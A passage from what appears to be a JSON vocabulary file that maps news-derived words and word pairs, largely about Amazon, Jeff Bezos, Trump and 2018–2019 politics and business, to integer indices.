payments": 200613, "senior analyst": 200614, "kla": 200615, "sales decision": 200616, "primary challenge": 200617, "2018 rubicon": 200618, "johnson wi": 200619, "tennessee standing": 200620, "policy academia": 200621, "imploding thanks": 200622, "challenged cnn": 200623, "red hatted": 200624, "story joe": 200625, "cup stupidity": 200626, "unfavorable coverage": 200627, "richard blumenthal": 200628, "maximize opportunities": 200629, "tax liabilities": 200630, "html earnings": 200631, "case share": 200632, "surprise tax": 200633, "amazon bashing": 200634, "enquirer leadership": 200635, "overnight rain": 200636, "republicans thought": 200637, "coercing behavior": 200638, "richly": 200639, "sold 013": 200640, "data suggest": 200641, "procurement officer": 200642, "vandal topples": 200643, "impedes": 200644, "video mash": 200645, "campaign reuters": 200646, "david solomon": 200647, "especially problematic": 200648, "tagged": 200649, "spacex ceo": 200650, "carthage": 200651, "pleasence": 200652, "ppchd 2000": 200653, "wicking": 200654, "office cites": 200655, "string": 200656, "noble stores": 200657, "reporter camille": 200658, "bezos drop": 200659, "person tour": 200660, "diapered": 200661, "frequent visitor": 200662, "day trump": 200663, "pizza delivery": 200664, "aggregated": 200665, "flushing neighborhood": 200666, "generous staff": 200667, "term personal": 200668, "reassessment plan": 200669, "new kid": 200670, "181004033404 colbert": 200671, "driving secret": 200672, "resisted trump": 200673, "worryingly": 200674, "bombshell report": 200675, "winning book": 200676, "sleazy text": 200677, "report outlines": 200678, "commentary amazon": 200679, "willingly sells": 200680, "company want": 200681, "program providers": 200682, "story trumps": 200683, "boys": 200684, "instead icann": 200685, "ami includes": 200686, "kollmeyer marketwatch": 200687, "conservatives real": 200688, "abrogate contract": 200689, "diplomatically french": 200690, "cnn index": 200691, "000 small": 200692, "company writes": 200693, "suggests charging": 200694, "deploying": 200695, "role michael": 200696, "president stated": 200697, "trains": 200698, "trades unions": 200699, "routinely bans": 200700, "federal court": 200701, "better track": 200702, "ha a4ee": 200703, "new norm": 200704, "content beloved": 200705, "post publisher": 200706, "brito": 200707, "forcing hollywood": 200708, "winning sensitive": 200709, "delivery people": 200710, "repealed does": 200711, "fact patterns": 200712, "ms aoc": 200713, "length 56966": 200714, "st businesses": 200715, "fraudulent attempt": 200716, "anchor wish": 200717, "solicitation weren": 200718, "tweeted right": 200719, "ethan": 200720, "college graduates": 200721, "related accessories": 200722, "current girlfriend": 200723, "associate justice": 200724, "hitting fresh": 200725, "text message": 200726, "latino congresspersons": 200727, "york investment": 200728, "msx6a1vvz0 politicususa": 200729, "love sex": 200730, "arrived just": 200731, "companies billions": 200732, "284": 200733, "natural products": 200734, "alicloud": 200735, "carlson did": 200736, "interests affected": 200737, "vf": 200738, "security policy": 200739, "amazon samsung": 200740, "infighting trump": 200741, "successful strategy": 200742, "week dominated": 200743, "washington alex": 200744, "risque texts": 200745, "ambitions democrats": 200746, "contract guarantees": 200747, "orbiting": 200748, "expected release": 200749, "sanchez told": 200750, "taking antitrust": 200751, "aisha": 200752, "reports given": 200753, "slotting": 200754, "affects tensions": 200755, "little cubes": 200756, "year accounted": 200757, "save amazon": 200758, "boss jamescomey": 200759, "better treatment": 200760, "included chapter": 200761, "follow people": 200762, "asset old": 200763, "jj bleday": 200764, "entrepreneur added": 200765, "empire free": 200766, "parenthood complying": 200767, "health coverage": 200768, "crosby maine": 200769, "say tech": 200770, "subscribers amazon": 200771, "whalen reporter": 200772, "politifact website": 200773, "137billion": 200774, "7000 media": 200775, "undue": 200776, "dumbfounded police": 200777, "change follows": 200778, "431 acquisitions": 200779, "make award": 200780, "companies authorities": 200781, "supper": 200782, "budget fight": 200783, "fired tear": 200784, "asoga": 200785, "572": 200786, "extreme proposals": 200787, "government fails": 200788, "universal reasons": 200789, "cristina rivera": 200790, "needed infrastructure": 200791, "bannerhasatag false": 200792, "aborted baby": 200793, "worry": 200794, "worthy competitor": 200795, "andrew thanks": 200796, "cancelkavanugh": 200797, "concerted effort": 200798, "elizabeth summers": 200799, "help retain": 200800, "important war": 200801, "president expressed": 200802, "sourcescott": 200803, "chuckle": 200804, "gas forte": 200805, "conversation aboutthe": 200806, "tim ahmann": 200807, "vp wife": 200808, "rosenstein raisedthe": 200809, "delays tariff": 200810, "pharmaceuticals industries": 200811, "personally invested": 200812, "legislative priority": 200813, "jim thanks": 200814, "dropkicks": 200815, "apparently doesn": 200816, "related questions": 200817, "583 2004": 200818, "clarkson potter": 200819, "republican turned": 200820, "380 words": 200821, "lasted just": 200822, "troubled": 200823, "host stuart": 200824, "containing methylene": 200825, "rain": 200826, "dismay": 200827, "moat": 200828, "business professionals": 200829, "declination": 200830, "hugh laurie": 200831, "abha": 200832, "growth differing": 200833, "publicly balked": 200834, "kim ap": 200835, "ice just": 200836, "lightning rod": 200837, "cainiao": 200838, "teller": 200839, "does seek": 200840, "overall sales": 200841, "commerce yeah": 200842, "math": 200843, "americanallies accusing": 200844, "drain": 200845, "pointed criticism": 200846, "tuition assistant": 200847, "allows kids": 200848, "time white": 200849, "jonathan connell": 200850, "hospitals culture": 200851, "oxide": 200852, "season brutal": 200853, "expanding veterans": 200854, "najib press": 200855, "travelex": 200856, "endless controversies": 200857, "directly amazon": 200858, "category cookbook": 200859, "publication avoided": 200860, "story scathing": 200861, "volume days": 200862, "party arrivals": 200863, "service data": 200864, "make exclusive": 200865, "data released": 200866, "just bit": 200867, "pre transgender": 200868, "pharmaceutical vaccine": 200869, "vowing": 200870, "accentuating investor": 200871, "previously gated": 200872, "written raiders": 200873, "washington whittemore": 200874, "elect doug": 200875, "toed": 200876, "stock rose": 200877, "link": 200878, "sling bag": 200879, "cites justice": 200880, "firms acquire": 200881, "plus": 200882, "netflix molly": 200883, "aftrekposten voor": 200884, "showed just": 200885, "progressive approach": 200886, "articles trump": 200887, "youngest working": 200888, "exelon": 200889, "provide physical": 200890, "transfer pricing": 200891, "abortive": 200892, "min aik": 200893, "immigration rounding": 200894, "left amazon": 200895, "tyldum": 200896, "raid": 200897, "taken aback": 200898, "illustration shows": 200899, "shipping logistics": 200900, "monica restaurant": 200901, "author john": 200902, "satanist": 200903, "rules music": 200904, "righteous indignation": 200905, "peanut buttercups": 200906, "jedi massive": 200907, "pay company": 200908, "reasserted american": 200909, "systems nyt": 200910, "day company": 200911, "prohibit platforms": 200912, "law officials": 200913, "fellow citizens": 200914, "banks huge": 200915, "messages": 200916, "flattened": 200917, "q4 holiday": 200918, "oliver hotstar": 200919, "inner chaos": 200920, "administration regina": 200921, "sales rattle": 200922, "reelected half": 200923, "new young": 200924, "just work": 200925, "fanatics cornered": 200926, "federal appropriations": 200927, "help create": 200928, "postcard remains": 200929, "agribusiness brazil": 200930, "amazon fedex": 200931, "york created": 200932, "withholding": 200933, "norris amazon": 200934, "smith outfit": 200935, "accusations according": 200936, "exec allegations": 200937, "enquirer saga": 200938, "marginal revolution": 200939, "neighborhood": 200940, "movie adaptation": 200941, "children threatening": 200942, "riveting shows": 200943, "quietly updated": 200944, "interrelated stories": 200945, "jobs susie": 200946, "marijuana sales": 200947, "held company": 200948, "stores hundreds": 200949, "hearings staged": 200950, "killed saudi": 200951, "natasha simone": 200952, "ms reed": 200953, "4355 expands": 200954, "memoir riverhead": 200955, "88th birthday": 200956, "actions weakening": 200957, "potato": 200958, "sold list": 200959, "decisionfrom": 200960, "estimates based": 200961, "clear understanding": 200962, "hatefully": 200963, "accumulated": 200964, "benign rate": 200965, "qualify": 200966, "india innovate": 200967, "did attend": 200968, "complicated scheme": 200969, "times": 200970, "debacle says": 200971, "company mergers": 200972, "understandably trump": 200973, "similar guided": 200974, "arjun": 200975, "hiatt": 200976, "covet": 200977, "podesta hillary": 200978, "care costs": 200979, "robin": 200980, "affairs mortgages": 200981, "ranked bernie": 200982, "retail surprise": 200983, "trillion making": 200984, "poor ivanka": 200985, "hint": 200986, "just shelled": 200987, "status 979326715272065024": 200988, "smaller oil": 200989, "2010 2012": 200990, "tweet despite": 200991, "aesthetic touches": 200992, "obama state": 200993, "complex history": 200994, "media david": 200995, "worldwide deals": 200996, "space battle": 200997, "enriched": 200998, "m2x a8": 200999, "obamas netflix": 201000, "moms": 201001, "sanctioned merchandise": 201002, "highly valued": 201003, "progressive lawmaker": 201004, "market lot": 201005, "demand according": 201006, "confirmation hearings": 201007, "overseeing contract": 201008, "instead shifted": 201009, "colbert jokes": 201010, "elect donald": 201011, "pay dirt": 201012, "wealthy owner": 201013, "milgrim cross": 201014, "harvard professor": 201015, "formed new": 201016, "bunk": 201017, "want large": 201018, "readily used": 201019, "finances followed": 201020, "hold right": 201021, "include include": 201022, "stating michael": 201023, "tilda swinton": 201024, "wealth 2019": 201025, "rulejoin": 201026, "slugger jj": 201027, "home large": 201028, "maximum internet": 201029, "action oversight": 201030, "agency cia": 201031, "thinks google": 201032, "chart shows": 201033, "county amazon": 201034, "fellow": 201035, "total food": 201036, "obviously zev": 201037, "pay bumps": 201038, "lower east": 201039, "target cloud": 201040, "riley feeling": 201041, "potential jobs": 201042, "willforthrill willforthrill": 201043, "included congresswoman": 201044, "lot worse": 201045, "cuomo congestion": 201046, "rosendale": 201047, "wynn resigned": 201048, "ponseca": 201049, "posts visit": 201050, "reinvested": 201051, "include birthdays": 201052, "owing": 201053, "groups governor": 201054, "discuss new": 201055, "sheppard accepts": 201056, "defrauding": 201057, "report originally": 201058, "eab pocket": 201059, "square robert": 201060, "rosy summer": 201061, "wouldget": 201062, "heads especially": 201063, "ago washington": 201064, "biller": 201065, "seller community": 201066, "doesin nutshell": 201067, "time investigating": 201068, "yujin": 201069, "campaign contributions": 201070, "celebrated barack": 201071, "furniture warehouse": 201072, "pivotal window": 201073, "american discussion": 201074, "cantankerous": 201075, "income deduction": 201076, "stalinist terms": 201077, "toll jumps": 201078, "fast sitting": 201079, "prices just": 201080, "considered particularly": 201081, "result costco": 201082, "fox book": 201083, "attack nbc": 201084, "performant": 201085, "gross margin": 201086, "sales jump": 201087, "banlieues": 201088, "storm amazon": 201089, "neighborhoods voted": 201090, "pursuedapple": 201091, "congresswoman elect": 201092, "ceo kevin": 201093, "ami political": 201094, "amazon ill": 201095, "icann needed": 201096, "just simply": 201097, "1709": 201098, "buster scruggs": 201099, "week itep": 201100, "recalls rome": 201101, "problem embedded": 201102, "staff waiting": 201103, "insight": 201104, "keanu reeves": 201105, "interview amazon": 201106, "181008212727": 201107, "cap 106": 201108, "illiquid investments": 201109, "told investors": 201110, "pitching tv": 201111, "property protections": 201112, "virginia analysts": 201113, "creates real": 201114, "broad array": 201115, "domestic policies": 201116, "drive housing": 201117, "organize peacefully": 201118, "bros connecticut": 201119, "watching google": 201120, "rift": 201121, "tm social": 201122, "justice division": 201123, "alice guy": 201124, "lets users": 201125, "mean brand": 201126, "supporter peter": 201127, "good management": 201128, "onion": 201129, "luong": 201130, "incarceration pushing": 201131, "amazon salaries": 201132, "gleefully reported": 201133, "included buying": 201134, "trump administrations": 201135, "subsidized rates": 201136, "banks including": 201137, "mortal sabrina": 201138, "mixed illinois": 201139, "hq3": 201140, "walmart tended": 201141, "retailer carries": 201142, "border wall": 201143, "usps including": 201144, "works yes": 201145, "succeeds expect": 201146, "barr reports": 201147, "federal deportation": 201148, "line mody": 201149, "strife kept": 201150, "lisota inspired": 201151, "investment projects": 201152, "flying 000": 201153, "hap trading": 201154, "writedown": 201155, "2020 democrats": 201156, "sentence marching": 201157, "marriage tmz": 201158, "mysteriously sourced": 201159, "day began": 201160, "splashing": 201161, "dish served": 201162, "violations vestager": 201163, "retaliatory tariffs": 201164, "gabriella gershenson": 201165, "foreign country": 201166, "theft forced": 201167, "make history": 201168, "enters": 201169, "prosecutorial narrative": 201170, "voting worker": 201171, "existing tech": 201172, "house aide": 201173, "hottest new": 201174, "justice releases": 201175, "johnson johnson": 201176, "americans makes": 201177, "cci": 201178, "trump earliest": 201179, "book launch": 201180, "internet freedom": 201181, "investors led": 201182, "getting half": 201183, "outlaws": 201184, "reassurance": 201185, "guinness guinness": 201186, "wrong imagine": 201187, "cary": 201188, "lava bomb": 201189, "release united": 201190, "sown": 201191, "california firefighters": 201192, "prime suspect": 201193, "research manager": 201194, "xl moto": 201195, "typically does": 201196, "residents including": 201197, "stack rings": 201198, "cocktail": 201199, "council says": 201200, "bloomberg donald": 201201, "perfect quick": 201202, "8217 robust": 201203, "protections": 201204, "book weekly": 201205, "visit bizjournals": 201206, "t5khpuugfj jeremy": 201207, "saving florida": 201208, "stop shopping": 201209, "hots fly": 201210, "priesthood": 201211, "amzn 918": 201212, "owned nearly": 201213, "1600": 201214, "turned away": 201215, "trump whitehouse": 201216, "c4e removeeventlistener": 201217, "graham bipartisan": 201218, "shipment olsavsky": 201219, "salesforce says": 201220, "deutsch warned": 201221, "seattle local": 201222, "self righteousness": 201223, "industrials": 201224, "amazon redfin": 201225, "tip": 201226, "leaked text": 201227, "marianne power": 201228, "really taken": 201229, "sears stores": 201230, "cnn hatred": 201231, "point walking": 201232, "designated postal": 201233, "weekend program": 201234, "single fulfillment": 201235, "pecker 146e3922310f": 201236, "data does": 201237, "voice activated": 201238, "abigail": 201239, "android phones": 201240, "search impeach": 201241, "prefers": 201242, "prosecutorial investigations": 201243, "appease": 201244, "advertising amazon": 201245, "book burning": 201246, "iranian": 201247, "hbo jennifer": 201248, "frightening": 201249, "distribution centers": 201250, "service undercharges": 201251, "mississippi development": 201252, "fivethirtyeight": 201253, "better candidate": 201254, "dawsey fake": 201255, "matt hassett": 201256, "dealing": 201257, "week bezos": 201258, "lose lot": 201259, "charcater wiggles": 201260, "maga coffee": 201261, "raising 000": 201262, "news ingraham": 201263, "ends higher": 201264, "past couple": 201265, "major players": 201266, "link domain": 201267, "constant scrutiny": 201268, "grub": 201269, "turkish stocks": 201270, "union shop": 201271, "kroger subway": 201272, "surge mcdowell": 201273, "good": 201274, "false claims": 201275, "moon 2018": 201276, "lexology": 201277, "intervention": 201278, "relationship relationship": 201279, "face new": 201280, "largest": 201281, "company social": 201282, "english": 201283, "combusted surefire": 201284, "dramatically slowed": 201285, "listings": 201286, "80s": 201287, "stomped competition": 201288, "ordinary americans": 201289, "fedex hundreds": 201290, "prevent future": 201291, "pick culminated": 201292, "dominant mobile": 201293, "ads midterms": 201294, "generous": 201295, "lago": 201296, "talks meghan": 201297, "stye photo": 201298, "current rate": 201299, "techs fell": 201300, "nether": 201301, "forgo": 201302, "spy cloud": 201303, "obsessive rich": 201304, "invest money": 201305, "press wine": 201306, "original pledge": 201307, "boulder cool": 201308, "tape oscars": 201309, "host right": 201310, "built headquarters": 201311, "defends mueller": 201312, "honeymoon": 201313, "legal safeguards": 201314, "solid evidence": 201315, "major boosts": 201316, "unbeatable prices": 201317, "republican strategist": 201318, "ice samantha": 201319, "questioned russian": 201320, "employers 2019": 201321, "process amazon": 201322, "investigations specifically": 201323, "justin stebbing": 201324, "maxwell watts": 201325, "gonzalez ripping": 201326, "elsea": 201327, "logistics agency": 201328, "image west": 201329, "indigenous brazilians": 201330, "berlin farrar": 201331, "director jacinta": 201332, "products services": 201333, "promotion definitely": 201334, "howmuchcanwelosethisyear": 201335, "big incentive": 201336, "japan buzz60": 201337, "personal income": 201338, "2020 tough": 201339, "full_report": 201340, "forest scientists": 201341, "hearings showcase": 201342, "political storm": 201343, "premiere": 201344, "workers india": 201345, "hit avalon": 201346, "regarding trump": 201347, "conscious uncoupling": 201348, "actually run": 201349, "antitrust issues": 201350, "weeks assemblyman": 201351, "lobby opposes": 201352, "dustup related": 201353, "carney senior": 201354, "terms saying": 201355, "eventually win": 201356, "houston chemical": 201357, "216657 market": 201358, "wars meet": 201359, "abortions illinois": 201360, "similar accusations": 201361, "reported company": 201362, "scars": 201363, "industry man": 201364, "candidate pool": 201365, "james fallows": 201366, "adulterous pussy": 201367, "fuzzy democratic": 201368, "dopp sink": 201369, "governmental purchases": 201370, "mycio wealth": 201371, "tech liberal": 201372, "efficient means": 201373, "harassing black": 201374, "amazon assaults": 201375, "echos graham": 201376, "author ray": 201377, "air media": 201378, "tech dominance": 201379, "offensive content": 201380, "powers plus": 201381, "months salary": 201382, "orig": 201383, "amazon shoppers": 201384, "man child": 201385, "year click": 201386, "disdain": 201387, "workers justice": 201388, "dovey": 201389, "4x": 201390, "act includes": 201391, "jarrett evan": 201392, "providing valuable": 201393, "jedi bears": 201394, "bayside": 201395, "app preview": 201396, "couple pegs": 201397, "nflx nasa": 201398, "owner bezos": 201399, "jeff coltin": 201400, "retired generals": 201401, "decline": 201402, "vista 1336": 201403, "delivery feature": 201404, "accounts weren": 201405, "stop hackers": 201406, "bogeyman": 201407, "star line": 201408, "europe economic": 201409, "longer version": 201410, "typeof window": 201411, "2018q4 regulatory": 201412, "brazil entered": 201413, "simpsons hannah": 201414, "undefined cnn": 201415, "helps retailers": 201416, "scale": 201417, "cis explained": 201418, "commercial farming": 201419, "tony fletcher": 201420, "alcindor shawna": 201421, "committee outdated": 201422, "newspaper strike": 201423, "potential contractors": 201424, "amazon slashed": 201425, "undeclared missile": 201426, "schoolers": 201427, "woman prone": 201428, "cardi actor": 201429, "argues new": 201430, "doesn shut": 201431, "school prof": 201432, "issue free": 201433, "robertbryan4": 201434, "awaiting guidance": 201435, "company stake": 201436, "current expansion": 201437, "ness begets": 201438, "bois jon_bois": 201439, "officials argue": 201440, "lendio": 201441, "possession dylan": 201442, "overwhelmingly endorsing": 201443, "owns privately": 201444, "administration cites": 201445, "net michael": 201446, "trump vented": 201447, "new city": 201448, "behalf killing": 201449, "evan": 201450, "profitability read": 201451, "labs flatiron": 201452, "pharmaceutical wholesalers": 201453, "information published": 201454, "surprisingly decent": 201455, "zones html": 201456, "house ivanka": 201457, "offer flexibility": 201458, "question does": 201459, "poirier program": 201460, "make bid": 201461, "engineering problem": 201462, "officials played": 201463, "ulcers": 201464, "farming town": 201465, "floor protestors": 201466, "float cbs": 201467, "r4ee u9e": 201468, "house residence": 201469, "easy task": 201470, "self reliance": 201471, "eric lipton": 201472, "benefits structure": 201473, "andrew coonsdem": 201474, "favorably according": 201475, "china rich": 201476, "unless new": 201477, "political atmosphere": 201478, "istandwithtrump pic": 201479, "hills taking": 201480, "magento": 201481, "albany sister": 201482, "decorating": 201483, "tension mounts": 201484, "terrible amazon": 201485, "alibaba iqiyi": 201486, "magazine great": 201487, "demand explaining": 201488, "shifting": 201489, "inc_homepage_lineline inc_homepage_headline_ab_test": 201490, "trump author": 201491, "market afp": 201492, "transfer ebt": 201493, "trump html": 201494, "learning fryer": 201495, "amid weakening": 201496, "misspelled flyer": 201497, "amazon lottery": 201498, "comex close": 201499, "looks set": 201500, "lawless sent": 201501, "constantly seizes": 201502, "invest 130m": 201503, "raised similar": 201504, "pomerantz": 201505, "2005 matt": 201506, "maine democrat": 201507, "reuters fedex": 201508, "johnson": 201509, "group pen": 201510, "pick atlantic": 201511, "cnn oliver": 201512, "reporter clare": 201513, "quite conservative": 201514, "landlords 1539185302": 201515, "pornography offensive": 201516, "juliehirschfeld": 201517, "clinton bartiromo": 201518, "limiting amendment": 201519, "small": 201520, "coverage andthat": 201521, "state right": 201522, "bell butsign": 201523, "constitution victory": 201524, "video files": 201525, "taxpayers wouldn": 201526, "dennis slattery": 201527, "enjoyed banner": 201528, "deal hails": 201529, "georgia usa": 201530, "agency continues": 201531, "cars virtual": 201532, "665 shares": 201533, "prue experts": 201534, "hope trump": 201535, "seasons jack": 201536, "marginal income": 201537, "liebert 2018": 201538, "creates engagement": 201539, "medicaid added": 201540, "levying": 201541, "says criticism": 201542, "amazon share": 201543, "contract certainly": 201544, "ateurobiz": 201545, "ugg": 201546, "jon hammond": 201547, "amazon finds": 201548, "misses estimates": 201549, "ranch": 201550, "d1 a4ee": 201551, "enables victims": 201552, "hefty sum": 201553, "wxzv uu9ssaa17kk3": 201554, "boob": 201555, "a303": 201556, "regularly antagonizes": 201557, "falling branches": 201558, "frequently taking": 201559, "modest compared": 201560, "bezos reuters": 201561, "breakdowns": 201562, "conventions": 201563, "streaming subscriber": 201564, "payments probably": 201565, "long time": 201566, "analyst jeffrey": 201567, "infrastructure services": 201568, "legislative body": 201569, "decade worth": 201570, "color markey": 201571, "bin": 201572, "fsoc fed": 201573, "costa county": 201574, "arrival": 201575, "exg54imyko": 201576, "surpassing 1tn": 201577, "rush turned": 201578, "disturbingly": 201579, "lawmaker": 201580, "providing property": 201581, "boss comey": 201582, "initial reaction": 201583, "saudi connection": 201584, "hollen md": 201585, "national intelligence": 201586, "sharon stone": 201587, "2018 whitney": 201588, "commercial bezos": 201589, "fatima farheen": 201590, "npr house": 201591, "department work": 201592, "jobs 150": 201593, "growing nearly": 201594, "maxx parent": 201595, "office belongs": 201596, "deliver parcel": 201597, "republican agent": 201598, "computing amazon": 201599, "says dryden": 201600, "politics database": 201601, "lands arming": 201602, "sorrell turned": 201603, "new jobs": 201604, "riding bicycle": 201605, "foot stores": 201606, "health problems": 201607, "7083a": 201608, "sunset": 201609, "sales metrics": 201610, "term success": 201611, "ians": 201612, "park operator": 201613, "entity ami": 201614, "centric business": 201615, "issued story": 201616, "gender transition": 201617, "make living": 201618, "rickards high": 201619, "setinterval": 201620, "reach americans": 201621, "feeney consumer": 201622, "children crying": 201623, "statement rare": 201624, "home bezos": 201625, "wall turned": 201626, "slides demonstrating": 201627, "reveal inhumane": 201628, "great sock": 201629, "great newspaper": 201630, "affair turns": 201631, "tv antenna": 201632, "boundaries": 201633, "rocket trail": 201634, "invent 2018": 201635, "article37005968": 201636, "farfetched": 201637, "democrats sizable": 201638, "forces reckoning": 201639, "digital infrastructure": 201640, "ranking": 201641, "marc chandler": 201642, "ceo robyn": 201643, "information hierarchies": 201644, "described pattern": 201645, "counters": 201646, "aspirational beauty": 201647, "actually possess": 201648, "investigation minutes": 201649, "fraud prevention": 201650, "bring gun": 201651, "safety": 201652, "popular online": 201653, "fishing mechanisms": 201654, "glor 08m": 201655, "rick holgate": 201656, "caper": 201657, "refugees": 201658, "liberal voters": 201659, "gadgets baby": 201660, "netflix animated": 201661, "lagging": 201662, "process added": 201663, "controversial new": 201664, "news cameras": 201665, "corporate confirmed": 201666, "launched similar": 201667, "current monitor": 201668, "platform utilities": 201669, "friend looking": 201670, "school handled": 201671, "investigations going": 201672, "hq5": 201673, "visa recommended": 201674, "supporters join": 201675, "cortez stand": 201676, "exclusive stuff": 201677, "comments taiwan": 201678, "b06xh7krkl": 201679, "varner": 201680, "attorneygeneral": 201681, "cycle cohen": 201682, "255 points": 201683, "decades gawande": 201684, "tumblr": 201685, "internet industry": 201686, "living life": 201687, "year jolley": 201688, "prices stabilize": 201689, "lottery winners": 201690, "big apple": 201691, "newspaper fake": 201692, "jurisdictions subsidized": 201693, "constantly sat": 201694, "negative tweet": 201695, "trevino": 201696, "combined tax": 201697, "sanchez cell": 201698, "gary": 201699, "pay lower": 201700, "safety picks": 201701, "litigation related": 201702, "publicly theorized": 201703, "3s": 201704, "troubles": 201705, "reuters france": 201706, "fact costing": 201707, "simply blowing": 201708, "times 2019": 201709, "polar ideological": 201710, "amazon mommy": 201711, "metadata__show isshowdetailsspanexists": 201712, "markle honeymooning": 201713, "managers sent": 201714, "blackmailing celebrities": 201715, "van sales": 201716, "ftc wants": 201717, "seriously considering": 201718, "bezos firm": 201719, "slash claw": 201720, "great sound": 201721, "circulated online": 201722, "uber cutthroat": 201723, "michel temer": 201724, "quote stuck": 201725, "power telephone": 201726, "comgest": 201727, "russians wanted": 201728, "including termination": 201729, "negative quote": 201730, "rusal": 201731, "king author": 201732, "traditional criteria": 201733, "dan good": 201734, "moessinger": 201735, "fat bonuses": 201736, "housekeeper": 201737, "grizzlies": 201738, "ex amazon": 201739, "bundo": 201740, "disappointing quarterly": 201741, "man ego": 201742, "questionable advertising": 201743, "img_reference_name getty_173218731_200015422000928060": 201744, "cartel cases": 201745, "political including": 201746, "significantly stricter": 201747, "reads children": 201748, "high risk": 201749, "ryan foto": 201750, "positive": 201751, "165 000": 201752, "cincyinsights recently": 201753, "advertising recently": 201754, "asia japan": 201755, "nytimes \u0645\u0646\u0634\u0646\u062a\u0647\u0645": 201756, "cap stands": 201757, "anybody pay": 201758, "divorce jeff": 201759, "help pinpoint": 201760, "enquirer did": 201761, "senior aide": 201762, "conference new": 201763, "ta cities": 201764, "warning shot": 201765, "undocumented migrants": 201766, "king careful": 201767, "vacant": 201768, "spelling math": 201769, "leading party": 201770, "multi country": 201771, "monitoring service": 201772, "dad brought": 201773, "ami led": 201774, "premise product": 201775, "free streaming": 201776, "local weather": 201777, "security contracts": 201778, "products direct": 201779, "640 000": 201780, "beast detailed": 201781, "mothra": 201782, "competing commerce": 201783, "avon ladies": 201784, "affairs image": 201785, "slogan remained": 201786, "home spain": 201787, "bible": 201788, "security company": 201789, "support hq2": 201790, "evolution story": 201791, "high union": 201792, "constitutional amendments": 201793, "island amazon": 201794, "correspondent bidders": 201795, "faced liability": 201796, "biggest commodity": 201797, "driverless construction": 201798, "potential presidents": 201799, "right nationalists": 201800, "mark gongloff": 201801, "commerce having": 201802, "sanctions helped": 201803, "trump mushrooming": 201804, "ball privatizers": 201805, "rip party": 201806, "billion compared": 201807, "migraine drug": 201808, "cortez lashes": 201809, "desirable parts": 201810, "openings workers": 201811, "working parents": 201812, "function presents": 201813, "area reports": 201814, "overwhelmed": 201815, "alongside cloud": 201816, "derisory": 201817, "subsidiary flipkart": 201818, "matt wuerker": 201819, "employees disagree": 201820, "zuckerberg passed": 201821, "trump averts": 201822, "techcalendar": 201823, "montrealgazette": 201824, "superiors": 201825, "stay immune": 201826, "information regarding": 201827, "2017 convicted": 201828, "reed nonviolent": 201829, "ceo criticizes": 201830, "comment iran": 201831, "favored firm": 201832, "media romney": 201833, "28th annual": 201834, "juggling": 201835, "reuters foundation": 201836, "giant pulled": 201837, "tournament using": 201838, "lenovo group": 201839, "tandy bowen": 201840, "taking amazon": 201841, "amazonia": 201842, "news cbsnews": 201843, "president called": 201844, "royce ceo": 201845, "medicaid plan": 201846, "820": 201847, "mail boxes": 201848, "make loss": 201849, "seasons": 201850, "china micron": 201851, "styles": 201852, "performance professional": 201853, "moret chief": 201854, "effort savino": 201855, "president political": 201856, "crisis effectively": 201857, "hardly level": 201858, "yesterday withdrawal": 201859, "reveal compromising": 201860, "county officials": 201861, "bain": 201862, "brings word": 201863, "healthy working": 201864, "provincial": 201865, "griffeth walgreens": 201866, "wealthiest companies": 201867, "populists": 201868, "story roku": 201869, "amazon resistance": 201870, "verge": 201871, "ben bernanke": 201872, "abortion remain": 201873, "founders intended": 201874, "index benchmarks": 201875, "mattis hired": 201876, "tip toed": 201877, "mcmafia": 201878, "potus twitter": 201879, "shifts wealth": 201880, "spats": 201881, "american firms": 201882, "colossus": 201883, "pharmacist": 201884, "73rd": 201885, "election bezos": 201886, "penney toys": 201887, "early 90s": 201888, "iran sanctions": 201889, "stock increased": 201890, "hearth hound": 201891, "fb emarkter": 201892, "weld launching": 201893, "advocacy": 201894, "value shares": 201895, "tackles broken": 201896, "cheap white": 201897, "day streak": 201898, "ordinarily attract": 201899, "witcher": 201900, "everybody going": 201901, "need amazon": 201902, "friends stephen": 201903, "labor obsessed": 201904, "package tsa": 201905, "felonies": 201906, "star tommie": 201907, "fervently devoting": 201908, "showindex": 201909, "trump initially": 201910, "competition clearly": 201911, "amazon gained": 201912, "bad behavior": 201913, "proposed rate": 201914, "strapped couples": 201915, "imaginable good": 201916, "created regulatory": 201917, "vessels": 201918, "westerner appointed": 201919, "finance nearly": 201920, "global window": 201921, "amazon emphasizes": 201922, "did ronald": 201923, "lost president": 201924, "career interior": 201925, "faux iphone": 201926, "focus squarely": 201927, "reactid 159": 201928, "protect trump": 201929, "program promises": 201930, "outfitting package": 201931, "scarborough noted": 201932, "pivotal": 201933, "developers certainly": 201934, "election offers": 201935, "cements northern": 201936, "greenwald proclaimed": 201937, "popular news": 201938, "omero patrick": 201939, "devices right": 201940, "wait finally": 201941, "peter iwanowicz": 201942, "understanding chinese": 201943, "919 million": 201944, "test alert": 201945, "laboring": 201946, "munduruku agribusiness": 201947, "term financial": 201948, "invaded destroy": 201949, "leads today": 201950, "gi normous": 201951, "political economist": 201952, "baby onsies": 201953, "railroad construction": 201954, "attacked sadiq": 201955, "jobs set": 201956, "alley": 201957, "specific contractor": 201958, "bank holds": 201959, "cortez office": 201960, "coons interview": 201961, "criticism explaining": 201962, "stories bezos": 201963, "identify inauthentic": 201964, "hydrating": 201965, "manipulation": 201966, "efe brazil": 201967, "billion headquarters": 201968, "territory interestingly": 201969, "world fourth": 201970, "ross business": 201971, "order platform": 201972, "introduction mueller": 201973, "ira curious": 201974, "employees signed": 201975, "t5 void": 201976, "google bias": 201977, "internet registries": 201978, "truthfulness": 201979, "everett eissenstat": 201980, "blackburn": 201981, "make long": 201982, "radar big": 201983, "hate trump": 201984, "diesearch": 201985, "rider shoplifters": 201986, "billion haven": 201987, "ballooning": 201988, "campaign donations": 201989, "madison": 201990, "better transportation": 201991, "pulses": 201992, "don pay": 201993, "production reduce": 201994, "power concentration": 201995, "subsequent stock": 201996, "dame cathedral": 201997, "representatives received": 201998, "davis director": 201999, "series published": 202000, "veteran novelty": 202001, "depicted puckering": 202002, "including fedex": 202003, "hampshire alaska": 202004, "saving medication": 202005, "jann mardenborough": 202006, "justice neil": 202007, "court jesters": 202008, "audio accessories": 202009, "unconstitutional previously": 202010, "deleterious effects": 202011, "tech owner": 202012, "punishing subordinates": 202013, "missed wall": 202014, "pepper tribe": 202015, "financial sponsors": 202016, "example state": 202017, "opinions think": 202018, "interfered": 202019, "does double": 202020, "transmitting": 202021, "repeatedly derided": 202022, "streets study": 202023, "routs": 202024, "dltr": 202025, "bezos president": 202026, "bitterness": 202027, "site writer": 202028, "mailing packages": 202029, "bush response": 202030, "cnn live": 202031, "enmeshes personal": 202032, "distant housing": 202033, "weight stock": 